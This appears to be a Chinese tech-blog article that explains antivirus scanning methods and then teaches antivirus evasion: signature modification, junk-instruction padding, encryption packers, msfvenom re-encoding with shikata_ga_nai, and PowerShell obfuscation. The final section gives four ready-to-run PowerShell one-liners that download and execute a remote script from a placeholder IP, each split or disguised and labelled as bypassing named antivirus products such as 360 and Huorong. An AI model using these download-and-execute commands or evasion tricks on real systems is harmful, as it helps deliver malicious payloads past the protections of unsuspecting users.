网站首页 > 技术文章 正文
1、杀毒原理
360、腾讯电脑管家、火绒剑、金山毒霸、瑞星等等,这几个杀毒软件领头羊,现在的杀毒软件都无法脱离三个部分,扫描器、病毒库、虚拟机。然而一个杀毒软件做的是否好用,最主要的还是扫描器的速度、准确率以及病毒库是否庞大。
1.1、基于特征码的静态扫描技术
这种技术很容易被人想到,所以第一代的杀毒软件出现了,他们的杀毒思想就是,我只要匹配到特征字符串就可以判断出来这个文件是一个病毒。但这种方法在当今病毒技术迅猛发展的形势下已经起不到很好的作用了。
1.2、启发式扫描
为了对付病毒的不断变化和对未知病毒的研究,启发式扫描方式出现了。启发式扫描是通过分析指令出现的顺序,或特定组合情况等常见病毒的标准特征来判断文件是否感染未知病毒。
可以根据扫描特定的行为或多种行为的组合来判断一个程序是否是病毒。例如,制定一套打分机制,在系统目录下释放文件得20分,对分区进行格式化得100分,对启动项进行操作得50分等,只要评分达到某个预设值,即可判断为病毒文件。
1.3、虚拟机技术
查毒引擎中的虚拟机,并不是像 VMWare的工作原理那样,为待查的可执行程序创建一个虚拟的执行环境,提供它可能用到的一切元素,包括硬盘,端口等,让它在其上自由发挥,最后根据其行为来判定是否为病毒。
设计虚拟机查毒的目的,就是为了对付加密变形病毒,虚拟机首先从文件中确定并读取病毒入口处代码,然后以上述工作步骤解释执行病毒头部的解密段(Decryptor),最后在执行完的结果(解密后的病毒体明文)中查找病毒的特征码。
2、免杀技术
2.1、修改特征码
既然杀毒软件在最开始时,使用了病毒特征码概念,那么我们可以通过修改病毒特征码的方式躲过杀软扫描。
第一种是更改特征码,例如:一个文件在某一个地址内有 “灰鸽子上线成功” 这么一句话,表明它就是木马,只要将相应地址内的那句话改成别的就可以了。
第二种是根据校验和查杀技术提出的免杀思想,如果一个文件某个特定区域的校验和符合病毒库中的特征,那么反病毒软件就会报警。如果想阻止反病毒软件报警,只要对病毒的特定区域进行一定的更改,就会使这一区域的校验和改变,从而达到欺骗反病毒软件的目的。
2.2 、花指令免杀
花指令免杀是指,在程序 shellcode或特征代码区域增添垃圾指令,这些指令没有实际含义,不会改变程序运行逻辑,但可以阻止反编译,现在杀软在检测特征码时,都会存在偏移范围,当我们使用花指令对特征码区域进行大量填充,这样就可以实现躲避杀软的特性。
2.3、加壳免杀
加壳,程序加壳可以很好的躲避匹配特征码查杀方式,加密壳基本上可以把特征码全部掩盖。这里说的壳指加密壳,一些普通压缩壳,并不能起到改变特征码的效果,例如: UPX、 ASPack等。
现在杀软会在检测到文件采用加密壳之后,直接提醒用户,该文件存在问题。可以使用不常见加密壳对程序进行加壳,来躲避杀软,该方法理论可用,只通过加壳实现免杀,成功几率很小,现在基于虚拟机技术,内存监测技术的发展,通过加壳方式进行免杀的思路越来越窄。
2.4、 二次编译
msfvenom提供了多种格式的 payload和 encoder,生成的 shellcode也为二次加工提供了很大便利,但是也被各大厂商盯得死死的。
而 shikata_ga_nai是 msf中唯一的评价是 excellent的编码器,这种多态编码技术使得每次生成的攻击载荷文件是不一样的,编码和解码也都是不一样。还可以利用管道进行多重编码进行免杀。
目前 msfvenom的 encoder特征基本都进入了杀软的漏洞库。互联网上有很多借助于 C、C#、python等语言对 shellcode进行二次编码从而达到免杀的效果。
2.5、Powershell 免杀
Windows PowerShell是一个命令行管理程序,相比较于CMD命令行,它更为强大,同时,它又是一种脚本语言,为系统管理设计。在.NET Framework的基础上构建,简单来说,可以类比UNIX系统的脚本(shell)。
2002年,微软研究了一个新的产品Monad,在2005年发布第一个版本,到2006年被重命名为Windows PowerShell,目前微软官网文档,已经更新到7.2版本,第一款默认集成PowerShell的系统版本是Windows Server 2008。
2.5.1、拆分DownloadString函数
# 拆分DownloadString函数 + echo 过最新版火绒 + 360 12.X版本
cmd /c echo $c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://XX.XX.XX.XX/test.ps1'')'.Replace('123','adString');IEX ($c1+$c2) | powershell -
2.5.2、拆分http关键字
# 拆分http关键字,过360 12.X版本
powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://XX.XX.XX.XX/test.ps1''))';IEX ($a+$b)"
2.5.3、中文引号
#通过中文引号,绕过360 12.X版本
powershell "IEX ((new-object net.webclient).downloadstring('ht‘+’tp://XX.XX.XX.XX/test.ps1'))"
2.5.4、替换IEX + http拆分
# 替换IEX + http拆分 绕过最新版火绒
powershell "$a='123((New-Object Net.WebClient).DownloadString(''ht'.Replace('123','IEX');$b='tp://XX.XX.XX.XX/test.ps1''))';IEX ($a+$b)"
猜你喜欢
- 2025-07-19 Win10系统如何卸载IE浏览器详细教程?
- 2025-07-19 windows下mysql自动备份及备份同步至NAS解决方案
- 2025-07-19 Frp内网穿透远程控制电脑桌面(使用frp内网穿透,用windows远程桌面连接)
- 2025-07-19 利用bat让文件在指定时间自动进行备份
- 2025-07-19 办公技巧:快速激活Windows系统(office日常办公使用技巧知识大全)
- 2025-07-19 cmd怎么切换d盘(cmd怎么切换到c盘根目录)
- 2025-07-19 Windows中的Oracle备份脚本(oracle 备份)
- 2025-07-19 微软远程桌面OS X版8.2.14:桌面分组等大波新功能
- 2025-07-19 黑客命令第12集:3389连接不上的解决办法
- 2025-07-19 如何在Windows系统中自动删除特定天数之前的文件!
- 1515℃桌面软件开发新体验!用 Blazor Hybrid 打造简洁高效的视频处理工具
- 577℃Dify工具使用全场景:dify-sandbox沙盒的原理(源码篇·第2期)
- 514℃MySQL service启动脚本浅析(r12笔记第59天)
- 487℃服务器异常重启,导致mysql启动失败,问题解决过程记录
- 486℃启用MySQL查询缓存(mysql8.0查询缓存)
- 470℃「赵强老师」MySQL的闪回(赵强iso是哪个大学毕业的)
- 450℃mysql服务怎么启动和关闭?(mysql服务怎么启动和关闭)
- 448℃MySQL server PID file could not be found!失败
- 最近发表
-
- 宝塔面板Nginx如何提高网站访问速度?
- 接口调试工具ApiPost中form-data/x-www-form-urlencoded/raw区别
- 高并发场景下,Nginx性能如何提升10倍?
- 高并发场景下,Nginx如何抗住千万级流量?
- 浏览器中在线预览pdf文件,pdf.mjs插件实现web预览pdf
- 为什么你的网站加载慢?90%的人忽略了这2个设置。
- 别再无脑复制Nginx配置了!掌握这10个"性能核弹"级参数
- 你的Nginx配置,可能就是你网站最慢的一环,注意这几个优化参数
- 深入浅出HTTP压缩技术(http2压缩)
- C程序设计之:1-1/2+1/3-... + 1/n 的和
- 标签列表
-
- cmd/c (90)
- c++中::是什么意思 (83)
- 主键只能有一个吗 (66)
- c#console.writeline不显示 (75)
- pythoncase语句 (81)
- es6includes (73)
- windowsscripthost (67)
- apt-getinstall-y (86)
- node_modules怎么生成 (76)
- c++int转char (75)
- static函数和普通函数 (76)
- el-date-picker开始日期早于结束日期 (70)
- js判断是否是json字符串 (67)
- checkout-b (67)
- c语言min函数头文件 (68)
- asynccallback (71)
- localstorage.removeitem (74)
- vector线程安全吗 (70)
- & (66)
- java (73)
- js数组插入 (83)
- mac安装java (72)
- eacces (67)
- 查看mysql是否启动 (70)
- 无效的列索引 (74)